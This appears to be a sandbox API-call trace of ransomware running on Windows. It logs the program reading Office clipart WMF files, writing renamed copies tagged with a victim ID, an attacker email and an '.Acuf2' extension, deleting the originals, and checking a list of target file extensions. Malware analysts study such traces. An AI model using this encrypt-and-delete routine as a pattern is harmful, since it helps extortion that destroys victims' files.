	[0273.277] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e8fec8 | out: lpNewFilePointer=0x0) returned 1
	[0273.277] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e8fec8 | out: lpNewFilePointer=0x0) returned 1
	[0273.277] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105390.WMF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105390.wmf.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c
	[0273.277] GetLastError () returned 0x0
	[0273.277] ReadFile (in: hFile=0x388, lpBuffer=0x3b10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b10020*, lpNumberOfBytesRead=0x2e8fed4*=0x1350, lpOverlapped=0x0) returned 1
	[0273.279] WriteFile (in: hFile=0x35c, lpBuffer=0x3b10020*, nNumberOfBytesToWrite=0x1360, lpNumberOfBytesWritten=0x2e8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b10020*, lpNumberOfBytesWritten=0x2e8fc9c*=0x1360, lpOverlapped=0x0) returned 1
	[0273.280] ReadFile (in: hFile=0x388, lpBuffer=0x3b10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b10020*, lpNumberOfBytesRead=0x2e8fed4*=0x0, lpOverlapped=0x0) returned 1
	[0273.280] WriteFile (in: hFile=0x35c, lpBuffer=0x3b10020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2e8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b10020*, lpNumberOfBytesWritten=0x2e8fc9c*=0xec, lpOverlapped=0x0) returned 1
	[0273.280] SetEndOfFile (hFile=0x35c) returned 1
	[0273.282] CloseHandle (hObject=0x35c) returned 1
	[0273.282] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e8fec8 | out: lpNewFilePointer=0x0) returned 1
	[0273.282] SetEndOfFile (hFile=0x388) returned 1
	[0273.284] CloseHandle (hObject=0x388) returned 1
	[0273.284] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105390.WMF.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0273.284] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105390.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105390.wmf")) returned 1
	[0273.285] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105390.WMF") returned 63
	[0273.285] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105390.WMF") returned 63
	[0273.285] lstrlenW (lpString=".doc") returned 4
	[0273.285] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0273.285] lstrlenW (lpString=".docx") returned 5
	[0273.285] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1
	[0273.285] lstrlenW (lpString=".pdf") returned 4
	[0273.285] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0273.285] lstrlenW (lpString=".xls") returned 4
	[0273.285] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0273.285] lstrlenW (lpString=".xlsx") returned 5
	[0273.285] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1
	[0273.285] lstrlenW (lpString=".ppt") returned 4
	[0273.285] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0273.285] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105390.WMF") returned 63
	[0273.285] lstrlenW (lpString=".zip") returned 4
	[0273.285] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0273.285] lstrlenW (lpString=".rar") returned 4
	[0273.285] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0273.285] lstrlenW (lpString=".bz2") returned 4
	[0273.285] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0273.285] lstrlenW (lpString=".7z") returned 3
	[0273.285] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0273.285] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105390.WMF") returned 63
	[0273.285] lstrlenW (lpString=".dbf") returned 4
	[0273.285] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0273.285] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105390.WMF") returned 63
	[0273.285] lstrlenW (lpString=".1cd") returned 4
	[0273.286] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0273.286] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105390.WMF") returned 63
	[0273.286] lstrlenW (lpString=".jpg") returned 4
	[0273.286] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0273.286] GetFileSizeEx (in: hFile=0x388, lpFileSize=0x2e8ff1c | out: lpFileSize=0x2e8ff1c*=11012) returned 1
	[0273.286] CloseHandle (hObject=0x388) returned 1
	[0273.286] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105396.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105396.wmf")) returned 0x20
	[0273.286] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105396.WMF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105396.wmf.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0273.286] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105396.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105396.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388
	[0273.286] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e8fec8 | out: lpNewFilePointer=0x0) returned 1
	[0273.286] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e8fec8 | out: lpNewFilePointer=0x0) returned 1
	[0273.287] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105396.WMF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105396.wmf.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c
	[0273.287] GetLastError () returned 0x0
	[0273.287] ReadFile (in: hFile=0x388, lpBuffer=0x3b10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b10020*, lpNumberOfBytesRead=0x2e8fed4*=0x2b04, lpOverlapped=0x0) returned 1
	[0273.288] WriteFile (in: hFile=0x35c, lpBuffer=0x3b10020*, nNumberOfBytesToWrite=0x2b10, lpNumberOfBytesWritten=0x2e8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b10020*, lpNumberOfBytesWritten=0x2e8fc9c*=0x2b10, lpOverlapped=0x0) returned 1
	[0273.289] ReadFile (in: hFile=0x388, lpBuffer=0x3b10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b10020*, lpNumberOfBytesRead=0x2e8fed4*=0x0, lpOverlapped=0x0) returned 1
	[0273.289] WriteFile (in: hFile=0x35c, lpBuffer=0x3b10020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2e8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b10020*, lpNumberOfBytesWritten=0x2e8fc9c*=0xec, lpOverlapped=0x0) returned 1
	[0273.290] SetEndOfFile (hFile=0x35c) returned 1
	[0273.290] CloseHandle (hObject=0x35c) returned 1
	[0273.290] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e8fec8 | out: lpNewFilePointer=0x0) returned 1
	[0273.290] SetEndOfFile (hFile=0x388) returned 1
	[0273.292] CloseHandle (hObject=0x388) returned 1
	[0273.292] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105396.WMF.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0273.292] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105396.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105396.wmf")) returned 1
	[0273.292] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105396.WMF") returned 63
	[0273.292] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105396.WMF") returned 63
	[0273.292] lstrlenW (lpString=".doc") returned 4
	[0273.292] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0273.292] lstrlenW (lpString=".docx") returned 5
	[0273.292] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1
	[0273.292] lstrlenW (lpString=".pdf") returned 4
	[0273.292] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0273.292] lstrlenW (lpString=".xls") returned 4
	[0273.292] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0273.292] lstrlenW (lpString=".xlsx") returned 5
	[0273.292] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1
	[0273.293] lstrlenW (lpString=".ppt") returned 4
	[0273.293] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0273.293] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105396.WMF") returned 63
	[0273.293] lstrlenW (lpString=".zip") returned 4
	[0273.293] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0273.293] lstrlenW (lpString=".rar") returned 4
	[0273.293] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0273.293] lstrlenW (lpString=".bz2") returned 4
	[0273.293] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0273.293] lstrlenW (lpString=".7z") returned 3
	[0273.293] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0273.293] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105396.WMF") returned 63
	[0273.293] lstrlenW (lpString=".dbf") returned 4
	[0273.293] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0273.293] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105396.WMF") returned 63
	[0273.293] lstrlenW (lpString=".1cd") returned 4
	[0273.293] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0273.293] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105396.WMF") returned 63
	[0273.293] lstrlenW (lpString=".jpg") returned 4
	[0273.293] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0273.294] GetFileSizeEx (in: hFile=0x388, lpFileSize=0x2e8ff1c | out: lpFileSize=0x2e8ff1c*=3328) returned 1
	[0273.294] CloseHandle (hObject=0x388) returned 1
	[0273.294] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105398.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105398.wmf")) returned 0x20
	[0273.294] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105398.WMF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105398.wmf.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0273.294] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105398.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105398.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388
	[0273.295] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e8fec8 | out: lpNewFilePointer=0x0) returned 1
	[0273.295] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e8fec8 | out: lpNewFilePointer=0x0) returned 1
	[0273.295] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105398.WMF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105398.wmf.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c
	[0273.295] GetLastError () returned 0x0
	[0273.295] ReadFile (in: hFile=0x388, lpBuffer=0x3b10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b10020*, lpNumberOfBytesRead=0x2e8fed4*=0xd00, lpOverlapped=0x0) returned 1
	[0273.296] WriteFile (in: hFile=0x35c, lpBuffer=0x3b10020*, nNumberOfBytesToWrite=0xd10, lpNumberOfBytesWritten=0x2e8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b10020*, lpNumberOfBytesWritten=0x2e8fc9c*=0xd10, lpOverlapped=0x0) returned 1
	[0273.297] ReadFile (in: hFile=0x388, lpBuffer=0x3b10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b10020*, lpNumberOfBytesRead=0x2e8fed4*=0x0, lpOverlapped=0x0) returned 1
	[0273.297] WriteFile (in: hFile=0x35c, lpBuffer=0x3b10020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2e8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b10020*, lpNumberOfBytesWritten=0x2e8fc9c*=0xec, lpOverlapped=0x0) returned 1
	[0273.297] SetEndOfFile (hFile=0x35c) returned 1
	[0273.297] CloseHandle (hObject=0x35c) returned 1
	[0273.297] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e8fec8 | out: lpNewFilePointer=0x0) returned 1
	[0273.297] SetEndOfFile (hFile=0x388) returned 1
	[0273.299] CloseHandle (hObject=0x388) returned 1
	[0273.299] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105398.WMF.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0273.300] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105398.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105398.wmf")) returned 1
	[0273.300] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105398.WMF") returned 63
	[0273.300] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105398.WMF") returned 63
	[0273.300] lstrlenW (lpString=".doc") returned 4
	[0273.300] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0273.300] lstrlenW (lpString=".docx") returned 5
	[0273.300] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1
	[0273.300] lstrlenW (lpString=".pdf") returned 4
	[0273.300] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0273.300] lstrlenW (lpString=".xls") returned 4
	[0273.300] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0273.300] lstrlenW (lpString=".xlsx") returned 5
	[0273.300] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1
	[0273.300] lstrlenW (lpString=".ppt") returned 4
	[0273.300] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0273.300] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105398.WMF") returned 63
	[0273.300] lstrlenW (lpString=".zip") returned 4
	[0273.300] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0273.300] lstrlenW (lpString=".rar") returned 4
	[0273.300] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0273.300] lstrlenW (lpString=".bz2") returned 4
	[0273.300] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0273.301] lstrlenW (lpString=".7z") returned 3
	[0273.301] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0273.301] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105398.WMF") returned 63
	[0273.301] lstrlenW (lpString=".dbf") returned 4
	[0273.301] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0273.301] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105398.WMF") returned 63
	[0273.301] lstrlenW (lpString=".1cd") returned 4
	[0273.301] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0273.301] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105398.WMF") returned 63
	[0273.301] lstrlenW (lpString=".jpg") returned 4
	[0273.301] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0273.301] GetFileSizeEx (in: hFile=0x388, lpFileSize=0x2e8ff1c | out: lpFileSize=0x2e8ff1c*=20444) returned 1
	[0273.301] CloseHandle (hObject=0x388) returned 1
	[0273.301] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105410.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105410.wmf")) returned 0x20
	[0273.301] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105410.WMF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105410.wmf.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0273.302] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105410.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105410.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388
	[0273.302] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e8fec8 | out: lpNewFilePointer=0x0) returned 1
	[0273.302] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e8fec8 | out: lpNewFilePointer=0x0) returned 1
	[0273.302] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105410.WMF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105410.wmf.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c
	[0273.302] GetLastError () returned 0x0
	[0273.302] ReadFile (in: hFile=0x388, lpBuffer=0x3b10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b10020*, lpNumberOfBytesRead=0x2e8fed4*=0x4fdc, lpOverlapped=0x0) returned 1
	[0273.304] WriteFile (in: hFile=0x35c, lpBuffer=0x3b10020*, nNumberOfBytesToWrite=0x4fe0, lpNumberOfBytesWritten=0x2e8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b10020*, lpNumberOfBytesWritten=0x2e8fc9c*=0x4fe0, lpOverlapped=0x0) returned 1
	[0273.305] ReadFile (in: hFile=0x388, lpBuffer=0x3b10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b10020*, lpNumberOfBytesRead=0x2e8fed4*=0x0, lpOverlapped=0x0) returned 1
	[0273.305] WriteFile (in: hFile=0x35c, lpBuffer=0x3b10020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2e8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b10020*, lpNumberOfBytesWritten=0x2e8fc9c*=0xec, lpOverlapped=0x0) returned 1
	[0273.305] SetEndOfFile (hFile=0x35c) returned 1
	[0273.305] CloseHandle (hObject=0x35c) returned 1
	[0273.305] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e8fec8 | out: lpNewFilePointer=0x0) returned 1
	[0273.305] SetEndOfFile (hFile=0x388) returned 1
	[0273.307] CloseHandle (hObject=0x388) returned 1
	[0273.308] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105410.WMF.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0273.308] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105410.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105410.wmf")) returned 1
	[0273.308] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105410.WMF") returned 63
	[0273.308] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105410.WMF") returned 63
	[0273.308] lstrlenW (lpString=".doc") returned 4
	[0273.308] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0273.308] lstrlenW (lpString=".docx") returned 5
	[0273.308] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1
	[0273.308] lstrlenW (lpString=".pdf") returned 4
	[0273.308] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0273.308] lstrlenW (lpString=".xls") returned 4
	[0273.308] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0273.308] lstrlenW (lpString=".xlsx") returned 5
	[0273.308] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1
	[0273.309] lstrlenW (lpString=".ppt") returned 4
	[0273.309] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0273.309] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105410.WMF") returned 63
	[0273.309] lstrlenW (lpString=".zip") returned 4
	[0273.309] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0273.309] lstrlenW (lpString=".rar") returned 4
	[0273.309] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0273.309] lstrlenW (lpString=".bz2") returned 4
	[0273.309] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0273.309] lstrlenW (lpString=".7z") returned 3
	[0273.309] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0273.309] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105410.WMF") returned 63
	[0273.309] lstrlenW (lpString=".dbf") returned 4
	[0273.309] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0273.309] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105410.WMF") returned 63
	[0273.309] lstrlenW (lpString=".1cd") returned 4
	[0273.309] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0273.309] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105410.WMF") returned 63
	[0273.309] lstrlenW (lpString=".jpg") returned 4
	[0273.309] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0273.310] GetFileSizeEx (in: hFile=0x388, lpFileSize=0x2e8ff1c | out: lpFileSize=0x2e8ff1c*=9400) returned 1
	[0273.310] CloseHandle (hObject=0x388) returned 1
	[0273.310] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105412.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105412.wmf")) returned 0x20
	[0273.310] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105412.WMF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105412.wmf.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0273.310] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105412.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105412.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388
	[0273.310] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e8fec8 | out: lpNewFilePointer=0x0) returned 1
	[0273.310] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e8fec8 | out: lpNewFilePointer=0x0) returned 1
	[0273.310] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105412.WMF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105412.wmf.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c
	[0273.310] GetLastError () returned 0x0
	[0273.310] ReadFile (in: hFile=0x388, lpBuffer=0x3b10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b10020*, lpNumberOfBytesRead=0x2e8fed4*=0x24b8, lpOverlapped=0x0) returned 1
	[0273.706] WriteFile (in: hFile=0x35c, lpBuffer=0x3b10020*, nNumberOfBytesToWrite=0x24c0, lpNumberOfBytesWritten=0x2e8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b10020*, lpNumberOfBytesWritten=0x2e8fc9c*=0x24c0, lpOverlapped=0x0) returned 1
	[0273.707] ReadFile (in: hFile=0x388, lpBuffer=0x3b10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b10020*, lpNumberOfBytesRead=0x2e8fed4*=0x0, lpOverlapped=0x0) returned 1
	[0273.707] WriteFile (in: hFile=0x35c, lpBuffer=0x3b10020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2e8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b10020*, lpNumberOfBytesWritten=0x2e8fc9c*=0xec, lpOverlapped=0x0) returned 1
	[0273.707] SetEndOfFile (hFile=0x35c) returned 1
	[0273.707] CloseHandle (hObject=0x35c) returned 1
	[0273.707] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e8fec8 | out: lpNewFilePointer=0x0) returned 1
	[0273.707] SetEndOfFile (hFile=0x388) returned 1
	[0273.709] CloseHandle (hObject=0x388) returned 1
	[0273.709] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105412.WMF.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0273.723] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105412.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105412.wmf")) returned 1
